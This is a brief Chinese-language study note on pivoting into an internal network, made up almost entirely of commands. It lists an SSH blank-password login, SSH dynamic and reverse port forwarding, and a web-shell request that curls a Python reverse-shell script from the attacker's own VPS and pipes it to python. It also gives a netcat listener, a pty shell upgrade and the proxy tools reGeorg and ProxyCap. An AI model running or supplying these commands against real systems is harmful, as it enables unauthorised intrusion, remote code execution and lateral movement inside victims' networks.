【学习笔记】进入内网的几种方法

当可以通过ssh连接A 目标访问B
ssh ip -lrr //空密码连接
ssh ip -D端口 -CNfg（流量压缩） //端口转发
  >>export all_proxy=http://127.0.0.1:端口
当不可以通过ssh
下载反弹shell 的py脚本
通过py启动http （python -m SimpleHTTPServer）
curl A的ip/shell.php --data "c=system("curl 我的vps的ip/xx.py|python");"
nc -lvv 转发端口 //监听
python -c "import pty;pty.spawn("/bin/bash")" //建立交互式shell
netstat -an | grep 22 //可以看到22端口来自A
B的ip:22 -> ssh -> 我的vps:2222
ssh ubuntu@vps的ip -CNfg -R2222:B的ip:22
 
两款代理工具 regeorg(通过export 127.0.0.1:8888代理) proxycap